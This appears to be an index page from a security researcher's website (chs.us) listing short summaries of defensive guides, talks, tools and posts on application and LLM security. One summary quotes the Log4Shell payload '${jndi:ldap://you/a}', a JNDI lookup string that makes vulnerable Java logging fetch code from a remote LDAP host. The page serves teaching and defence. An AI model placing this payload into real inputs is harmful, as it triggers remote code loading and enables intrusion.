chs.us — Carl Sampson

If you want the short answer to “how should I limit an AI coding agent’s permissions?”

The quick-reference authorization checklist Broken authorization is the number one bug class in APIs, and it has three faces.

Every few months someone tells me WebAssembly is “sandboxed and memory-safe,” usually as a reason they don’t need to worry about the C library they just compiled to it.

CircleCityCon · Indianapolis, IN · 2015 · 17 min Player blocked?

DerbyCon · Louisville, KY · 2017 · 20 min Player blocked?

How to report a security vulnerability in chs.us or in software maintained by Carl Sampson — scope, expectations, and safe harbor.

Vulnerability research by Carl Sampson — upstream-merged memory-safety fixes in Kodi and FFmpeg, plus how to report a security issue to me.

Conference talks and presentations by Carl Sampson on application security, Burp Suite extension development, and Ruby security.

Open-source tools and resources I've built for the application security community.

Security tools and resources I've built to help developers and security teams.

Carl Sampson is a security researcher and application security engineer focused on vulnerability research, web security, and Python security tooling.

Complete XSS prevention guide by Carl Sampson: DOM XSS, stored XSS, reflected XSS defense strategies, CSP implementation, and secure coding practices.

Tools, software, and hardware Carl Sampson uses for application security research, development, and writing.

${jndi:ldap://you/a} is the canonical Log4Shell payload.

CSP policies regress silently — someone adds 'unsafe-inline' to unblock a widget and nobody notices until an XSS report lands.

Every query that returns user data filters by owner.

Letting users run their own Python to shape your server's responses means executing untrusted code in production.

Free, interactive, 100% client-side application security tools by Carl Sampson — learn attacks by doing them, right in your browser.

An OAST platform needs to own a zone and answer anything under it.

A plain-English walkthrough of the OWASP Top 10 for LLM Applications (2025) from someone who reviews AI code for a living.

How a Log4Shell-style LDAP/RMI callback returns a javax.naming.Reference, byte for byte — and two serialization bugs that only a real JVM catches.

The application security newsletter from Carl Sampson, OWASP Indianapolis founder.

A practical guide to OWASP A05:2025 Injection.

A practical guide to OWASP A04:2025 Cryptographic Failures.

A practical guide to OWASP A03:2025 Software Supply Chain Failures.

My honest take on Steve Wilson's The Developer's Playbook for Large Language Model Security.

Learn how JWT algorithm confusion attacks work in Python.

Stop broken access control attacks that affect 94% of applications.

Master the OWASP Top 10 2025 web application vulnerabilities.

Master security misconfiguration prevention with this comprehensive guide.

Enhanced security testing guides covering the full testing lifecycle with 2026 AI-augmented techniques, modern reconnaissance, and comprehensive automation strategies.

The only API security guides with real-time 2026 vulnerability integration.

Comprehensive web security guide collection enhanced May 2026 with 2,000+ sources and real-time CVE intelligence.

Complete business logic vulnerabilities guide with 339 insights and 27 CVEs enhanced with 2026 workflow bypass techniques, race condition exploitation, and payment logic attacks.

Complete session management security guide with 92 sources enhanced with 2026 session CVEs including cloud and enterprise vulnerabilities, cookie security exploits, and token-based attack techniques.

Complete bug bounty hunting guide with 2026 AI-augmented techniques, SAML security testing, WebAuthn bypass techniques, and automated vulnerability chaining.

Complete OSINT guide with 412 insights enhanced with 2026 AI-assisted intelligence gathering including blockchain analysis, enhanced social media techniques, and modern OSINT automation.

Complete Python security guide with 2026 CVEs, AI/ML framework vulnerabilities, and Django/Flask security defensive programming techniques.

Complete authentication bypass prevention guide with 62 sources enhanced with 2026 critical bypass CVEs including OAuth/SAML exploitation, JWT bypass techniques, and modern attack patterns.

Master SSRF prevention in Python applications.

Master the differences between CSRF and SSRF attacks.

Complete security conference guide with 46 insights enhanced with 2026 conference trends including VR workshops, AI security presentations, and modern speaking techniques.

Complete SSTI prevention guide with 88 sources enhanced with 2026 template injection techniques including AI/ML platform vulnerabilities, framework-specific exploits, and modern payload development.

Complete JWT security guide with 138 sources enhanced with 2026 token vulnerabilities including algorithm confusion attacks, signature bypasses, and library-specific exploits.

Complete authentication security guide with 2026 authentication CVEs, SSO bypasses, MFA exploitation techniques, and enterprise defense strategies.

Complete AI/LLM security guide with 2026 critical CVEs, prompt injection, jailbreak techniques, and agentic system exploitation defense strategies.

Complete Burp Suite guide with 588 insights (+400% expansion) enhanced with 2026 enterprise DAST features including modern extensions (BurpAPISecuritySuite), advanced BChecks/Bambdas, and CI/CD integration.

Complete supply chain security guide with 54 sources enhanced with 2026 supply chain attacks including dependency confusion, CI/CD exploitation, and modern package registry vulnerabilities.

Complete secrets management guide with 2026 CVE intelligence.

Complete reconnaissance guide enhanced with 2026 cloud-native techniques including container/serverless discovery, modern API reconnaissance, and automated attack surface mapping.